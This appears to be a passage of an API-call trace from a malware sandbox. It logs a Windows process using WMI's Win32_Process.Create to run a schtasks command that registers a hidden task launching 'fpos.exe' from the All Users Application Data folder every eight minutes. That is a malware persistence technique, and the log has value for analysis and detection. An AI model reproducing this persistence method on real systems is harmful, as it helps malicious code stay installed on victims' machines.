0x0 [0084.933] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b700, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0084.933] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b700, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0084.933] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3b7c0) returned 0x0 [0084.933] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b700, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0084.933] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b700, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0084.933] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b700, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0084.933] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b7c0, uIndex=0x0, pszName="root") returned 0x0 [0084.933] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b700, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0084.933] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b700, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0084.933] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3b7c0, uIndex=0x1, pszName="cimv2") returned 0x0 [0084.933] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b700, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0084.933] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b700, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0084.933] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b7c0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0084.933] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3b7c0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0084.933] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b7c0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0084.934] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bc40, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0084.934] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0084.934] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.934] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bc40, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0084.934] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0084.934] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.934] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b7c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0084.934] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0084.934] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0084.934] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0084.934] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b7c0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0084.967] IWbemServices:GetObject (in: This=0x1bf28f80, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1c02bd80, ppCallResult=0x0) returned 0x0 [0084.971] IWbemClassObject:GetMethod (in: This=0x1c02bd80, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bef3290, ppOutSignature=0x1b2fd9e0*=0x1bef3600) returned 0x0 [0084.971] IWbemClassObject:SpawnInstance (in: This=0x1bef3290, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf44890) returned 0x0 [0084.972] IWbemClassObject:Get (in: This=0x1bf44890, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294d100*=0, plFlavor=0x294d104*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294d100*=8, plFlavor=0x294d104*=32) returned 0x0 [0084.972] IWbemClassObject:Get (in: This=0x1bf44890, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294d100*=8, plFlavor=0x294d104*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294d100*=8, plFlavor=0x294d104*=32) returned 0x0 [0084.972] IWbemClassObject:Put (This=0x1bf44890, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 8 /tr \"'C:\\Users\\All Users\\Application Data\\fpos.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0084.972] IWbemClassObject:Get (in: This=0x1bf44890, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294d190*=0, plFlavor=0x294d194*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294d190*=13, plFlavor=0x294d194*=32) returned 0x0 [0084.973] IWbemClassObject:Get (in: This=0x1bf44890, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294d190*=13, plFlavor=0x294d194*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294d190*=13, plFlavor=0x294d194*=32) returned 0x0 [0084.973] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1c0297b0) returned 0x0 [0084.973] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0084.973] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0084.973] IUnknown:AddRef (This=0x1c0297b0) returned 0x3 [0084.973] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0084.973] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0084.973] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1c0297b8) returned 0x0 [0084.973] IMarshal:GetUnmarshalClass (in: This=0x1c0297b8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0084.973] IUnknown:Release (This=0x1c0297b8) returned 0x3 [0084.974] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0084.974] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0084.974] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0084.974] IUnknown:Release (This=0x1c0297b0) returned 0x2 [0084.974] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0084.974] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0084.974] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0084.974] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0084.974] IUnknown:QueryInterface (in: This=0x1c0297b0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0084.974] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0084.974] IUnknown:AddRef (This=0x1c0297b0) returned 0x3 [0084.974] IWbemClassObject:Put (This=0x1bf44890, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c0297b0, varVal2=0x0), Type=0) returned 0x0 [0084.974] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bb80, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0084.974] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bb80, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0084.974] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bb80, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0084.975] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bc40, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0084.975] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0084.975] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.975] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bb80, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0084.975] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bb80, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0084.975] IWbemServices:ExecMethod (in: This=0x1bf28f80, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf44890, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf44b40, ppCallResult=0x0) returned 0x0 [0085.279] IWbemClassObject:Get (in: This=0x1bf44b40, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294d4a8*=0, plFlavor=0x294d4ac*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x72c, varVal2=0x0), pType=0x294d4a8*=19, plFlavor=0x294d4ac*=0) returned 0x0 [0085.279] IWbemClassObject:Get (in: This=0x1bf44b40, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x294d4a8*=19, plFlavor=0x294d4ac*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x72c, varVal2=0x0), pType=0x294d4a8*=19, plFlavor=0x294d4ac*=0) returned 0x0 [0085.280] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0085.281] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0085.281] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0085.281] IUnknown:Release (This=0x111f638) returned 0x1 [0085.283] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bef8e80) returned 0x0 [0085.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8e80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0085.283] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8e80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3b640) returned 0x0 [0085.283] WbemDefPath:IUnknown:Release (This=0x1bef8e80) returned 0x0 [0085.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3b640) returned 0x0 [0085.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0085.284] WbemDefPath:IUnknown:AddRef (This=0x1bf3b640) returned 0x3 [0085.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0085.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0085.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bef8e60) returned 0x0 [0085.284] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8e60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0085.284] WbemDefPath:IUnknown:Release (This=0x1bef8e60) returned 0x3 [0085.284] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0085.284] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0085.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0085.284] WbemDefPath:IUnknown:Release (This=0x1bf3b640) returned 0x2 [0085.284] WbemDefPath:IUnknown:Release (This=0x1bf3b640) returned 0x1 [0085.284] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0085.284] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0085.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b640, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3b640) returned 0x0 [0085.285] WbemDefPath:IUnknown:AddRef (This=0x1bf3b640) returned 0x3 [0085.285] WbemDefPath:IUnknown:Release (This=0x1bf3b640) returned 0x2 [0085.285] WbemDefPath:IWbemPath:SetText (This=0x1bf3b640, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0085.285] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b640, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0085.285] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0085.285] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0085.285] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b640, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0085.285] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b640, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0085.285] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3b640, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0085.285] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0085.285] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0085.285] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0085.285] IUnknown:Release (This=0x111f638) returned 0x1 [0085.287] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bef8e20) returned 0x0 [0085.288] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8e20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0085.288] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8e20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3b580) returned 0x0 [0085.288] WbemDefPath:IUnknown:Release (This=0x1bef8e20) returned 0x0 [0085.288] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3b580) returned 0x0 [0085.288] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0085.288] WbemDefPath:IUnknown:AddRef (This=0x1bf3b580) returned 0x3 [0085.288] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0085.288] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0085.288] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b580, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, 